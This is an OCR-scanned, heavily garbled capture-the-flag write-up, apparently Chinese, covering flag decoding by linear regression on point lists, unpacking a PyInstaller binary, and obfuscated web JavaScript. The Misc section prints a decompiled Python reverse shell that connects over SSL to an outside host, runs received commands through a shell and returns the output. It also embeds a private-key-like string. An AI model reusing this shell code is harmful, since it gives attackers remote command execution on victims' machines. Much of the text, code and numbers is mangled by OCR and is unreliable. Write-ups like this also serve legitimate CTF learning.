GIYTAMZTFYZTONJJIFQQCQMIYGEWCAOBZHAYC4AMIZGYUSYIBIGQ2TGLBAGIZDGMBYFY4DSMRIFQQCQNBRGEWCAMRQGI2DSLRTGQ2CSLBAFAZTEOBM
EAYTMMJYGMXDQOJRFEWCAKBUGYZCYIBSGI3TKMBOGEYTGKIMEAUDIMBXFQQDEMBQGU2CANZZGEUSYIBIGQADALBAGIZTMMZQFYZTEOBIFQQCQMZR
FQQDCNRSHEXDENRJFQQCQMRWFQQDCMZYGQXDCNRVFEWCAKBRG4YCYIBYGQ2DALRYGM3CSLBAFAYTMMBMEA3TSNIQFY4DGKIMEAUDKOBMEAZDSNIS
FYYTONRIFQQCQNBVGEWCAMRSGIYTALRSHAYSSLBAFA2DGLBAGIZDCNZOGQYTMKIMEAUDENJYFQQDCMRXGUZCAMIUGIUV2CS3FAZTKMZMEAZTMNBY
GUXDEMBUFEWCAKBTGA2SYIBTGE2TIMBOG44DCKIMEAUDCMIXFQQDCMRRG43CAMBVGQUSYIBIGEZTALBAGEZTKMIVFYZTIOBIFQQCQMRVFQQDENZQ
GAXDEOJSFEWCAKBRGIYCYIBRGI2DQNJOHAYTSKIMEAUDIMZWFQQDINIQGM2S4MZUGAUSYIBIGI2TILBAGI3DEOBXFY4T00JJFQQCQMIWHAWCAMIX
GQZDSLRTHEYSSLBAFA2DQNBMEA2DSOJXHEXDEOJVFEWCAKBSHAZSYIBSHEZDONBOHA3TQKIMEAUDCMISFQQDCMIWGYYS4ANIRGUUSYIBIGIADKLBA
GIATIOBQFY2TGNBIFQQCQMIXGMWCAMIXHE2DILRWGY4SSLBAFAYTQOBMEAYTSNBYHEXDMMBXFEWCAKBTG4YSYIBTHAZTGOJOGQYTMKIMEAUDCMIQ
FQQDCMIUGU2S4NBUGEUSYIBIGQ4SYIBVGE3TELRUGMACSLBAFAYTONRMEAYTQMRVGMXDMNBVFEWCAKBXGIWCANZVGQYSANBVHAUSYIBIGIZSYIBS
GQATILRSGAUSYIBIGI3DELBAGI3TCMIRFY3DQMZIFQQCQOIVFQQDSOIRGAXDGNRWFEWCAKBRG42SYIBRHAYTKMBOGM4TOKIMEAUDCOBVFQQDCOIR
HAYC4MZWGEUSYIBIGEZTGLBAGEZTQMRUFYYTCNJIJFQQCQMRSHEWCAMRTG4YTELRTGMZCSLBAFAZDOLBAGI4TANROGM2TKKIMEAUDCMRZ FQQDCMZU
GEZC40BXGUUSYIBIGMADCLBAGMATGNRZFYZTCOBILUFA====
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OBXFYATOOJJFQQCQMJWHAWCAMJIXGQZDSLRTHEYSSLBAFA2DQNBMEA2DSOJXHEXDEOJVFEWCAKBSHAZSYIBSHEZ
DONBOHA3TQKJMEAUDCMJSFQQDCMJIWGYYS4NJRGUUSYIBIGI4DKLBAGIATIOBQFY 2 TGNBJFQQCQMIXGMWCAMJIXH
E2DILRWGY4SSLBAFAY TQOBMEAY TSNBYHEXDMMBXFEWCAKBTG4YSYIBTHAZ TGOJOGQY TMKJMEAUDCMJQFQQDCM
JUGU2S4NBUGEUSYIBIGQASYIBVGE3TELRUGMACSLBAFAY TONRMEAY TQMRVGMXDMNBVEEWCAKBXGIWCANZVGQYS
ANBVHAUSYIBIGIZSYIBSGQATILRSG4USYIBIGI3DELBAGI3TCMJRFY3DQMZJFQQCQOJVFQQDSOJRGAXDGNRWFEWCAK
BRG42SYIBRHAY TKMBOGM4TOKJMEAUDCOBVEFQQDCOJRHAYCAMZWGEUSYIBIGEZTGLBAGEZ TQMRUEYY TCNJJFQQC
QMRSHEWCAMRTGAY TELRTGMZCSLBAFAZDOLBAGI4 TANROGM2 TKKJMEAUDCMRZFQQDCMZUGEZC40BXGUUSYIBIG
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98.274), (30, 1580.109), (425, 20935.333), (372, 18338.869), (52, 2658.353), (282, 13928.514), (421, 20740.908),
(242, 11968.381), (223, 11037.519), (46, 2364.361), (314, 15497.448), (225, 11135.62), (210, 10400.927), (168,
8342.544), (104, 5206.607), (175, 8685.26), (437, 21523.478), (55, 2865.311), (419, 20642.936), (79, 3981.11), (
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[ (444, 22697.484), (201, 10303.965), (442, 22594.985), (268, 13720.463), (215, 11018.358), (64, 3316.136), (99,
5101.527), (117, 6019.476), (42, 2194.3), (235, 12037.331), (447, 22850.954), (491, 25093.206), (400, 20452.699)
, (409, 20911.527), (303, 15585.555), (430, 21983.853), (166, 8518.432), (91, 4693.31), (197, 10099.772), (147,
7549.539), (115, 5917.528), (390, 19942.57), (396, 20250.15), (386, 19739.285), (144, 7396.758), (185, 9488.874)
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[(157, 17994.029), (466, 53219.713), (298, 34067.876), (336, 38400.176), (404, 46152.114), (35, 4085.249), (370,
42277.13), (74, 8531.099), (38, 4427.459), (356, 40680.902), (461, 52649.548), (103, 11837.351), (287, 32814.01
1), (153, 17537.147), (105, 12065.227), (165, 18905.831), (383, 43758.064), (14, 1691.277), (149, 17081.899), (4
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), (453, 21856.637), (210, 10190.151), (47, 2366.403), (306, 14798.785), (235, 11390.721), (22, 1166.112), (471,
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5.191), (458, 43575.818), (366, 34836.594), (474, 45095.324), (476, 45287.017), (36, 3485.245), (473, 45000.45),
(22, 2155.411), (409, 38920.804), (362, 34455.627), (196, 18685.953), (450, 42816.42), (86, 8235.263), (266, 25
335.452), (427, 40631.459), (423, 40252.254), (115, 10990.549), (180, 17165.868)]
[(399, 37977.029), (141, 13467.056), (491, 46716.435), (236, 22491.873), (415, 39497.438), (239, 22776.126), (37
8, 35981.953), (404, 38452.185), (20, 1971.333), (392, 37312.171), (348, 33131.705), (68, 6531.521), (116, 11091
.687), (24, 2351.378), (377, 35886.753), (352, 33511.265), (186, 17741.408), (64, 6151.27), (238, 22681.308), (1
56, 14891.645), (77, 7386.51), (264, 25151.192), (311, 29616.833), (481, 45766.877), (229, 21826.112), (124, 118
51.454), (204, 19452.046), (74, 7101.408), (101, 9666.573), (23, 2256.442)]
[ (462, 22255.567), (404, 19472.985), (148, 7183.731), (116, 5647.385), (54, 2671.354), (129, 6271.643), (396, 19
089.092), (104, 5071.365), (351, 16928.509), (263, 12704.488), (231, 11167.616), (203, 9824.242), (433, 20865.24
), (380, 18319.847), (19, 991.333), (170, 8239.438), (61, 3007.183), (77, 3775.341), (193, 9343.796), (160, 7759
.819), (113, 5503.85), (459, 22113.195), (472, 22735.985), (497, 23937.354), (121, 5887.589), (346, 16687.957),
(332, 16016.091), (461, 22207.374), (145, 7039.67), (101, 4927.526)]
[ (356, 35695.781), (323, 32396.312), (99, 9995.636), (274, 27495.776), (284, 28495.424), (37, 3795.292), (114, 1
1495.772), (381, 38195.254), (415, 41595.773), (45, 4595.278), (205, 20596.234), (418, 41896.749), (282, 28296.1
66), (228, 22896.214), (338, 33896.127), (84, 8495.355), (237, 23795.222), (414, 41495.335), (247, 24795.385), (
133, 13395.59), (177, 17795.921), (481, 48195.587), (399, 39995.328), (435, 43595.973), (476, 47696.302), (347,
34797.091), (75, 7595.72), (224, 22495.502), (402, 40296.272), (139, 13995.28)]
[(334, 28161.025), (74, 6320.272), (244, 20600.842), (94, 8000.706), (174, 14720.587), (99, 8420.104), (484, 407
61.531), (493, 41517.869), (447, 37652.765), (49, 4220.412), (499, 42021.241), (298, 25137.81), (79, 6740.362),
(169, 14301.015), (439, 36981.933), (216, 18249.141), (476, 40090.247), (462, 38913.015), (413, 34798.204), (480
, 40424.342), (491, 41349.055), (150, 12704.648), (433, 36477.326), (13, 1196.272), (400, 33705.346), (114, 9680
.556), (127, 10772.474), (62, 5312.143), (295, 24884.463), (230, 19425.274)]
[(95, 4765.293), (138, 6872.432), (433, 21328.028), (432, 21280.189), (418, 20592.642), (344, 16967.601), (6, 48
4.037), (280, 13830.566), (175, 8685.604), (107, 5353.385), (487, 23975.472), (311, 15349.847), (473, 23288.902)
, (137, 6823.531), (427, 21033.375), (181, 8980.196), (453, 22308.892), (411, 20249.344), (328, 16183.891), (462
, 22750.113), (407, 20054.791), (480, 23630.328), (31, 1629.26), (26, 1384.165), (170, 8440.836), (160, 7950.83)
, (58, 2952.176), (451, 22210.281), (43, 2217.416), (258, 12752.142)]
[ (353, 36485.204), (305, 31540.781), (117, 12176.054), (130, 13515.348), (25, 2700.292), (120, 12485.819), (436,
45035.347), (254, 26287.979), (168, 17429.391), (484, 49979.295), (283, 29274.878), (112, 11661.515), (285, 294
80.534), (173, 17944.669), (188, 19489.607), (371, 38339.416), (110, 11455.441), (49, 5172.438), (176, 18253.645
), (72, 7541.458), (23, 2494.27), (262, 27111.683), (95, 9910.366), (175, 18150.397), (185, 19180.361), (133, 13



824.115), (229, 23712.332), (27, 2906.355), (129, 13412.875), (381, 39369.318)]

B 28— MR, 405 Pythonfili A2 B, K IS B 8 R Ltk B 3

import matplotlib.pyplot as plt

m = [(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (
24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.
683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (4
60, 47029.989), (118, 12144.819), (491, 50192.835), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944
.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)]
for i inm :

plt.scatter(i[0],i[1])
plt.show()
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import numpy as np

import matplotlib.pyplot as plt

from scipy import stats

m = 376, 38462.085 485, 49579.895 28, 2964.377 390, 39888.567 222, 22753.108 388, 39685.235

24, 2556.346 204, 20916.088 45, 4698.592 9, 1026.251 428, 43765.177 334, 34176.356 205, 21018.
683 218, 22344.21 69, 7146.245 347, 35503.166 479, 48967.208 213, 21834.244 227, 23262.95 4
60, 47029.989 118, 12144.819 491, 50192.035 44, 4596.27 241, 24690.668 476, 48661.456 18, 1944
.416 427, 43664.197 214, 21936.838 274, 28056.588 272, 27853.2

x_list =
y_list =
for i inm
x_list.append(i[@
y_list.append(i[1
x_data = np.array(x_list
y_data = np.array(y_list
slope, intercept, r_value, p_value, std_err = stats.linregress(x_data, y_data
print('y="+str(slope)+'x"'+'+"'+str(intercept

MR —HHEE, BEINKETERN

y=102.00301205797477x+108.13292800289128

numpy np

append(i[0])
append(if

np.
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from scipy import stats
import numpy as np

ml = 376, 38462.085 485, 49579.895 28, 2964.377 390, 39888.567 222, 22753.108 388, 39685.235

24, 2556.346 204, 20916.088 45, 4698.592 9, 1026.251 428, 43765.177 334, 34176.356 205, 21018
.683 218, 22344.21 69, 7146.245 347, 35503.166 479, 48967.208 213, 21834.244 227, 23262.95
460, 47029.989 118, 12144.819 491, 50192.035 44, 4596.27 241, 24690.668 476, 48661.456 18, 194
4.416 427, 43664.197 214, 21936.838 274, 28056.588 272, 27853.2



m2 = | (85, 8348.621), (346, 33665.322), (101, 9900.75), (286, 27845.358), (490, 47634.336), (256, 24935.159), (4
99, 48507.783), (384, 37352.466), (314, 30561.655), (47, 4662.515), (279, 27166.774), (449, 43656.702), (415, 40
358.941), (335, 32598.173), (445, 43269.738), (257, 25033.479), (56, 5535.53), (484, 47053.0), (24, 2431.123), (
447, 43463.332), (252, 24547.35), (269, 26197.073), (375, 36478.885), (467, 45404.153), (299, 29106.661), (410,
39874.781), (111, 10870.232), (162, 15817.212), (473, 45985.348), (428, 41620.527)]
m3 = [(482, 59363.599), (493, 60717.612), (242, 29842.836), (403, 49645.494), (257, 31687.884), (418, 51490.659)
, (382, 47062.795), (172, 21232.594), (409, 50383.537), (37, 4627.411), (113, 13975.622), (283, 34886.502), (62,
7702.363), (438, 53951.295), (95, 11761.148), (164, 20248.214), (270, 33287.123), (60, 7456.365), (89, 11023.68
), (165, 20371.405), (222, 27382.086), (416, 51244.099), (433, 53335.646), (422, 51983.683), (29, 3643.292), (46
6, 57395.086), (109, 13483.208), (200, 24677.075), (371, 45710.712), (325, 40052.51)]
m4 = [(214, 10596.501), (338, 16672.817), (383, 18878.996), (198, 9813.117), (149, 7411.18), (439, 21621.139), (
12, 698.274), (30, 1580.109), (425, 20935.333), (372, 18338.869), (52, 2658.353), (282, 13928.514), (421, 20740.
908), (242, 11968.381), (223, 11037.519), (46, 2364.361), (314, 15497.448), (225, 11135.62), (210, 10400.927), (
168, 8342.544), (104, 5206.607), (175, 8685.26), (437, 21523.478), (55, 2805.311), (419, 20642.936), (79, 3981.1
1), (473, 23287.359), (207, 10253.953), (379, 18682.114), (498, 24512.699)]
m5 = [ (444, 22697.484), (201, 10303.965), (442, 22594.985), (268, 13720.463), (215, 11018.358), (64, 3316.136),
(99, 5101.527), (117, 6019.476), (42, 2194.3), (235, 12037.331), (447, 22858.954), (491, 25093.206), (400, 20452
.699), (409, 20911.527), (363, 15505.555), (430, 21983.053), (166, 8518.432), (91, 4693.31), (197, 10099.772), (
147, 7549.539), (115, 5917.528), (390, 19942.57), (396, 20250.15), (386, 19739.285), (144, 7396.758), (185, 9488
.074), (308, 15761.079), (299, 15301.183), (453, 23156.869), (326, 16678.433)]
m6 = [(157, 17994.829), (466, 53219.713), (298, 34067.876), (336, 38400.176), (404, 46152.114), (35, 4085.249),
(370, 42277.13), (74, 8531.099), (38, 4427.459), (356, 40680.902), (461, 52649.548), (103, 11837.351), (287, 328
14.011), (153, 17537.147), (105, 12065.227), (165, 18905.831), (383, 43758.064), (14, 1691.277), (149, 17081.899
), (48, 5567.135), (60, 6935.317), (183, 20958.053), (425, 48546.553), (124, 14231.309), (154, 17651.315), (305,
34865.077), (225, 25745.798), (22, 2603.436), (260, 29735.779), (268, 30648.491)]
m7 = [(35, 2921.193), (74, 6119.615), (366, 30063.851), (84, 6939.611), (445, 36541.644), (266, 21864.537), (44,
3659.23), (21, 1773.203), (281, 23094.394), (446, 36625.1), (134, 11039.599), (224, 18419.597), (125, 10301.272
), (187, 15386.092), (27, 2265.144), (384, 31540.715), (312, 25636.875), (81, 6693.404), (256, 21043.915), (272,
22355.386), (413, 33917.33), (466, 38263.262), (10, 871.15), (322, 26455.254), (491, 40314.018), (285, 23422.23
5), (299, 24569.304), (314, 25799.903), (472, 38756.921), (207, 17025.119)]
m8 = [(18, 1909.09), (423, 43626.197), (443, 45686.428), (434, 44759.148), (227, 23436.716), (129, 13342.914), (
6, 673.051), (30, 3145.382), (182, 18801.909), (53, 5514.395), (38, 3969.362), (306, 31573.971), (449, 46303.27)
, (342, 35281.657), (208, 21479.106), (58, 6029.494), (426, 43933.203), (31, 3248.286), (455, 46921.265), (46, 4
793.37), (67, 6956.534), (436, 44964.671), (352, 36311.115), (39, 4072.332), (482, 49703.378), (36, 3763.208), (
490, 50525.775), (404, 41667.513), (411, 42389.72), (87, 9016.124)]
m9 = [(466, 47119.357), (238, 24091.99), (378, 38231.425), (397, 40151.664), (62, 6315.361), (16, 1669.443), (49
5, 50048.255), (248, 25101.314), (97, 9850.418), (496, 50149.486), (250, 25303.773), (254, 25708.162), (151, 153
04.476), (298, 30151.49), (39, 3992.359), (301, 30455.131), (487, 49240.674), (137, 13890.614), (170, 17223.704)
, (12, 1265.129), (306, 30959.984), (324, 32777.275), (354, 35808.118), (259, 26213.599), (61, 6214.064), (315,
31869.574), (419, 42373.779), (36, 3689.172), (56, 5709.441), (347, 35101.57)]
m1e = [(128, 10673.706), (410, 34080.113), (400, 33250.109), (495, 41134.303), (102, 8515.216), (388, 32253.575)
, (421, 34992.384), (126, 10507.612), (448, 37233.402), (230, 19139.667), (432, 35905.656), (343, 28519.819), (2
24, 18641.439), (16, 1377.078), (70, 5859.254), (188, 15653.68), (41, 3452.216), (262, 21795.981), (452, 37565.6
29), (496, 41218.974), (48, 4033.309), (19, 1626.453), (179, 14906.658), (490, 40720.602), (293, 24368.848), (17
, 1460.317), (315, 26195.299), (351, 29182.612), (219, 18226.844), (192, 15985.401)]
mil = [(366, 17679.993), (311, 15039.672), (144, 7022.587), (56, 2798.177), (40, 2030.32), (86, 4238.677), (393,
18974.814), (409, 19742.828), (266, 12878.464), (53, 2654.169), (356, 17199.18), (233, 11294.64), (70, 3470.511
), (89, 4382.363), (80, 3950.705), (378, 18255.237), (139, 6782.707), (120, 5870.596), (31, 1598.134), (492, 237
28.638), (453, 21856.637), (210, 10190.151), (47, 2366.403), (306, 14798.785), (235, 11390.721), (22, 1166.112),
(471, 22719.415), (108, 5294.502), (413, 19936.025), (329, 15903.103)]
m12 = [(400, 38065.613), (406, 38635.921), (426, 40536.452), (228, 21725.303), (484, 46046.395), (297, 28280.548
), (176, 16786.046), (316, 30085.821), (35, 3390.384), (315, 29990.94), (421, 40060.658), (448, 42627.029), (396
, 37685.191), (458, 43575.818), (366, 34836.594), (474, 45095.324), (476, 45287.017), (36, 3485.245), (473, 4500
0.45), (22, 2155.411), (409, 38920.804), (362, 34455.627), (196, 18685.953), (450, 42816.42), (86, 8235.263), (2
66, 25335.452), (427, 40631.459), (423, 40252.254), (115, 10990.549), (180, 17165.868)]
m13 = [(399, 37977.029), (141, 13467.056), (491, 46716.435), (236, 22491.873), (415, 39497.438), (239, 22776.126
), (378, 35981.953), (404, 38452.185), (20, 1971.333), (392, 37312.171), (348, 33131.705), (68, 6531.521), (116,
11091.687), (24, 2351.378), (377, 35886.753), (352, 33511.265), (186, 17741.408), (64, 6151.27), (238, 22681.30
8), (156, 14891.645), (77, 7386.51), (264, 25151.192), (311, 29616.833), (481, 45766.877), (229, 21826.112), (12
4, 11851.454). (204, 19452.046). (74. 7101.408). (101. 9666.573). (23. 2256.442)]



ml4 = [(462, 22255.567), (404, 19472.985), (148, 7183.731), (116, 5647.385), (54, 2671.354), (129, 6271.643), (3
96, 19089.092), (104, 5071.365), (351, 16928.509), (263, 12704.488), (231, 11167.616), (203, 9824.242), (433, 20
865.24), (380, 18319.847), (19, 991.333), (170, 8239.438), (61, 3007.183), (77, 3775.341), (193, 9343.796), (160
, 7759.819), (113, 5503.85), (459, 22113.195), (472, 22735.985), (497, 23937.354), (121, 5887.589), (346, 16687.
957), (332, 16016.091), (461, 22207.374), (145, 7039.67), (101, 4927.526)]
ml5 = [(356, 35695.781), (323, 32396.312), (99, 9995.636), (274, 27495.776), (284, 28495.424), (37, 3795.292), (
114, 11495.772), (381, 38195.254), (415, 41595.773), (45, 4595.278), (205, 20596.234), (418, 41896.749), (282, 2
8296.166), (228, 22896.214), (338, 33896.127), (84, 8495.355), (237, 23795.222), (414, 41495.335), (247, 24795.3
85), (133, 13395.59), (177, 17795.921), (481, 48195.587), (399, 39995.328), (435, 43595.973), (476, 47696.302),
(347, 34797.091), (75, 7595.72), (224, 22495.502), (402, 40296.272), (139, 13995.28)]
mlé = [(334, 28161.025), (74, 6320.272), (244, 20600.842), (94, 8000.706), (174, 14720.587), (99, 8420.104), (48
4, 40761.531), (493, 41517.869), (447, 37652.765), (49, 4220.412), (499, 42021.241), (298, 25137.81), (79, 6740.
362), (169, 14301.015), (439, 36981.933), (216, 18249.141), (476, 40090.247), (462, 38913.015), (413, 34798.204)
, (480, 40424.342), (491, 41349.055), (150, 12704.648), (433, 36477.326), (13, 1196.272), (400, 33705.346), (114
, 9680.556), (127, 10772.474), (62, 5312.143), (295, 24884.463), (230, 19425.274)]
ml7 = [(95, 4765.293), (138, 6872.432), (433, 21328.028), (432, 21280.189), (418, 20592.642), (344, 16967.601),
(6, 404.037), (280, 13830.566), (175, 8685.604), (107, 5353.385), (487, 23975.472), (311, 15349.847), (473, 2328
8.902), (137, 6823.531), (427, 21033.375), (181, 8980.196), (453, 22308.892), (411, 20249.344), (328, 16183.891)
, (462, 22750.113), (407, 20054.791), (480, 23630.328), (31, 1629.26), (26, 1384.165), (170, 8440.836), (160, 79
50.83), (58, 2952.176), (451, 22210.281), (43, 2217.416), (258, 12752.142)]
ml8 = [(353, 36485.204), (305, 31540.781), (117, 12176.054), (130, 13515.348), (25, 2700.292), (120, 12485.819),
(436, 45035.347), (254, 26287.979), (168, 17429.391), (484, 49979.295), (283, 29274.878), (112, 11661.515), (28
5, 29480.534), (173, 17944.669), (188, 19489.607), (371, 38339.416), (110, 11455.441), (49, 5172.438), (176, 182
53.645), (72, 7541.458), (23, 2494.27), (262, 27111.683), (95, 9910.366), (175, 18150.397), (185, 19180.361), (1
33, 13824.115), (229, 23712.332), (27, 2906.355), (129, 13412.875), (381, 39369.318)]
m_num = [ml,m2,m3,m4,m5,m6,m7,m8, m9,mid, mil, mi2,m13,m14,m15,m1i6,m17,mi8]

flag = "'

for i in m_num:
x_list = []
y_list = []

for j in i:
x_list.append(j[0])
y_list.append(j[1])
x_data= np.array(x_list)
y_data=np.array(y_list)
slope, intercept, r_value, p_value, std_err = stats.linregress(x_data, y_data)
print(intercept)
flag += chr(int(slope))
flag += chr(int(intercept))
print(flag)



run— T A

m_num:
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Misc3-testcat

TRESAE, WEWT

B odme \® 0 &8 =

Add ExtractTo Test View Delete Find Wizard Info VirusScan Comment  SFX

1638278440lhfkBoWHaWIB.zip\attachment - ZIP archive, unpacked size 8,424,802 bytes

~

Name Size Packed Type Modified CRC32

[ 1. IR

cat.zip 949,797 949,942 WIinRAR ZIP archi... 2021/11/24 4:47 232ABAB8

| |.DS_Store 6,148 228 DS_STORE =44 2021/11/24 8:30 2C5C5062

| |test 7,468,857 7,300,841 3z 2021/11/23 21:02 e ,,5(D|D4OC/FE ‘
CsD fame ™ zhou

i Finotepad++1T Fftest, K Bimport KEPythonE, IX/NAJHAT TR %2 —ME F pyinstallerdT &1 .

SRR TR T SRR T o1 GetOb] Resul v EH e Ml Rl Al R AR F =i 1ed to get address for Tcl GetObjResult
MTcl EvalFile EEAEEAF=iled to get address for Tcl_EvalFile
ailed to get address for Tcl EvalEx

Failed to get address for Tcl EvalCbiv

Failed to get address for Tcl Alloc

190 EER (A TR ENIRF = i 1=d to get address for Tel Free

OADER: Failed to set the TMP environment variable
N AR v i - runt ime-tnpdir RARIARIARIARIARIAINTERNAL ERROR: cannot create temporary directory!




INULINULJH SR R A S L RN ING: file already exists but should not: s

AR AEARMAEr ror creating child process!

cateProcessWENEEMNO error messages generated.

FormatMessageWAEMAEMEYInstaller: FormatMessageW failed. DNMRNARNARNAREAEyInstaller: pyl win32Z_ utils to_utfs failed. NMRNMREEMEEME=11l=d to get ANSI buffer si
A (A A AR i d=CharToMul tiBytc R RN REAREACut of memory.

_wes_to_ b E I il @ Tl ENd T EEAF 2 i 1ed ©o encode filename as BNST.

EEMIEMra1led to get UIF-8 buffer size.
T I IR R in32_ucils to_ucfo RIS INMINAFziled to encode wohar t as UTF-3.

EERREAIAIEAREA211=d to get wchar t buffer size. LN ESTETANIC L0

T2 f# i Pyinstxtractort& B *.pyc L4

H Fltest_extracted LK, FHE.pycsCf, FPHIREH R

2R > Windows (C:) » FBF » 82093 > =@ > MM > testcat > test extracted

ZF¥ i sem S Fh
A bz2.pyd 2021/12/7 14:42 Python Extensio... 86 KB
A ctypes.pyd 2021/1 Python Extensio... 125 KB
A decimal.pyd 2021/1 14:42 Python Extensio... 263 KB
@ hashlib.pyd 2021/1 14:42 Python Extensio... 47 KB
E _lzma.pyd 2021/1 14:42 Python Extensio... 160 KB
@ multiprocessing.pyd 2021/12/7 14:42 Python Extensio... 30 KB
A overlapped.pyd 2021/1 14:42 Python Extensio... 46 KB
A _gueue.pyd 2021/1 14:42 Python Extensio... 29 KB
E _socket.pyd 2021/12/7 14:42 Python Extensio... 79 KB
A sslpyd 2021/1 Python Extensio... 153 KB
rE 1.pyc 2021/1 3KB
| api-ms-win-core-console-11-1-0.dll 2021/12/7 14:42 12 KB
| api-ms-win-core-datetime-|1-1-0.dll 2021/1 14:42 12 KB
| api-ms-win-core-debug-11-1-0.dl| 2021/1 12 KB
| api-ms-win-core-errorhandling-11-1-...  2021/1 12 KB
| api-ms-win-core-file-11-1-0.dll 2021/1 14:42 5 KB
| api-ms-win-core-file-11-2-0.dll 2021/1 14:42 12 KB
| api-ms-win-core-file-12-1-0.dll 2021/1 14:42 12 KB
| api-ms-win-core-handle-11-1-0.dll 2021/1 14:42 12 KB
| api-ms-win-core-heap-11-1-0.dll 2021/1 14:42 12 KB
| api-ms-win-core-interlocked-11-1-0.dll  2027/1 14:42 12 KB
| api-ms-win-core-libraryloader-11-1-0... 20217/1 14:42 13 KB
| api-ms-win-core-localization-11-2-0.dll  2021/1 15KB CS5DN @3tefanie ~ zhou

{8 Funcompyle % 47 ¥ *.pyc SO

uncompyle FEM)Z&#Mr4: pip install uncompyle



431 .pyc

uncompyle6 1.pyc > 1.py

RILREH

y”, line 300, in loa

K. * iy FEA pyc X1E#H —Tmagic head, Pylinstaller £/ .exe FIR1RZ 72 pyc B magic BEH 5, 7R 45 EHI0T 1%
FEHERFF, ERE Pylnstxtractor 2.0 S Z#E 51N .

fiB R IT R
WRFBEFFHHF magic head HIFHRT:
EA1eBHRAER EXHEEXHERTH struct X, [EEEXMALBALAFHE struct THRIF—F (HHaT4AFTTEPython

mERAE, BEE—0
EREB R ERBASNFT, 5 struct XHFRF—H

KK Pyinstxtractorth A &E M4 JEE, #h5F T magic head (HRE—ANFHHE T, KB E XM T Kstruct.pyclB R & — AN 7T
N55, FITEH1.pycs—AF ¥ H55.

struct.pyc

H¥FRmEFET, BE1.py,

# uncompyle6 version 3.8.0

# Python bytecode 3.8.0 (3413)

# Decompiled from: Python 3.7.6 (tags/v3.7.6:43364a7ae0, Dec 19 2019, ©0:42:30) [MSC v.1916 64 bit (AMD64) ]
# Embedded file name: 1.py

import socket, subprocess, os, ssl

def 0000000000
global domain
global port
global s
global ssls
global xxx
try
domain = 'wh47.ju5tfor.test’



port = 64321
s = socket.socket()
ssls = ssl.wrap_socket(s, ssl _version=(ssl.PROTOCOL_TLSvl 2))
xxx = [358, 118, 30, 43, 127, 5, 282, 133, 56, 43, 116, 68, 68,
147, 96, 13, 130, 4, 15, 35, 297, 57, 36, 83, 38, 93, 40, 147]
except socket.error as 1111111111112111111111:
try:
try:
try:
print(str(1111111111111111211111))
finally:
1111111111112111111111 = None
del 11111111111111111211111

finally:
1111111111112111111111 = None
del 11111111111111111211111

finally:
1111111111112111111111 = None
del 11111111111121111211111

def 0000000000 () :
try:
yyy = '--- BEGIN PRIVATE KEY ---\t\tb3BlbnNzaClrzXktdjEAAAAABG5vbmUAAAAEbmOUZQAAAAAAAAABAAAAMWAAAAtzc2gt
ZW'
yyy += '\t\tQyNTUxOQAAACCKvwHFw4alzEkncA+1Df3VeQ2ZNjX7gur4TzIFQ1SgRWAAAJA8ULVMPFC7"
yyy += '\t\t5gAAAAtzc2gtZWQyNTUXOQAAACCKVwWHFw4alzEkncA+1Df3VeQ2ZNjX7gurdTzIFQlSgRw'
yyy += '\t\tAAAEAMNUtG4HZ42kMsON1XY/y11GyPns8IB6JYwi936VUuz4q/AcXDhgXMSSAwD6EUN/dV5"
yyy += '\t\tDZk2NfuC6vhPMkVCVKBHAAAACXJvb3RAa2FsaQECAwWQ=\t\t--- END PRIVATE KEY ---'
ssls.connect((domain, port))

ssls.send(str.encode(str(os.getcwd()) + '<
except socket.error as 1111111111112111111111:
try:

+ "'.join([yyy[_] for _ in xxx]) + '>" + ' > "))

try:
try:
print(str(1111111111111111111111))
finally:
1111111111111111111111 = None
del 1111111111111111111111

finally:
1111111111111111111111 = None
del 1111111111111111111111

finally:
1111111111111111111111 = None
del 1111111111111111111111

def 0000000000 ) :
while True:

1111111122111111121111 = ssls.recv(1024)

1111111122111112121111 = 1111111111111211111111.decode('utf-8").strip()

print(‘'received ' + 11111111111111111121111)

if 12111111211112121111112[:2] == 'cd':
0s.chdir(1111111111111211121111[3: 1)
ssls.send(str.encode(str(os.getcwd()) + " > "))

ol _



SILSE
if 1en(11111111211111112111111) > ©
1111111111111111111111 = subprocess.Popen(1111111111111111111111, shell=True, stdout=(subprocess
PIPE
stderr=(subprocess.PIPE
stdin=(subprocess.PIPE
1111111112211111221111 = 1111121111121111111111.stdout.read() + 1111111111111111111111.stderr.re
ad
1111111111111111211211 = str(12111111111111111111111.decode( 'utf-8"
ssls.send(str.encode(1111111111111111111111 + str(os.getcwd + ">
if 1en(1111111111111111111211.split('\n’ > 2
1111211111111111111111 = 2
else
1111211111111111111111 = ©
print(‘'Sent: " + 1111111211111211111111 * '\n' + 11211112111111111111111
if not 1111111111111111111111
break

s.close

def main
0000000000
0000000000
0000000000

if __name__ == '__main__

main

HHRAG, BRREER, M ERRIEXXX]F PR RN 7/
40 S pythonfli s, 153 48 6% 1Y

s\python.exe D:/pycharm/pycharprojects/demo/get_p

fanie » zhou

password:%x+07%110_UbP@Wfz!>v"

fiftEcai.zip, BFcatxxf, E#163H4miEE+ KIZpngE F

1.pyc struct.pyc
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Web1-checkin
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p3tefanie ™ zlou

DU R R BE R BLHIR, 2R Al js A T Hfaght
H#ctl +u EFENRG, KIlgamejs, #HE2 R &Kfag

c_Dx¥9d22al_0x34f6cal 0x370d(” Oxda®”, LIEC )] (_0x2a58, _Ox3df6cal _0x37040 Oxdad , 3s6& ) [, _0x370d0 Oxdaa , " @L{Ub" )]
LV fu¥aD sfunction _Oxleebef(_0x4892d4, _0x2ad644) {return

6d89<_0x8058£0;}, " YLFPI' :function _0x5d7fa%(_0x1e712b, Oxllefc?) fretwrn _0xle712Zb>_Oxllefc?:), " aDPpG :function
zIVG4A' sfunction _0x1d02e9(_0x1858cd, _0x5Tb646, (x6f72f) [return

37040 Oxdaf’, famb' ), VNBYN :function _0x27d4a5(_0x3ce21f, _0x517aTe) [return

3, D¥Kfz’ " OmI ', " kyXDI' :_0x370d( 0x4bZ', " 761r ), 2DxOr’ :_0x370dC Oxdb3’, " ol$%' ), cEiAH :_0x370d( Oxdbd’,’ d5le’ ), rOEad’
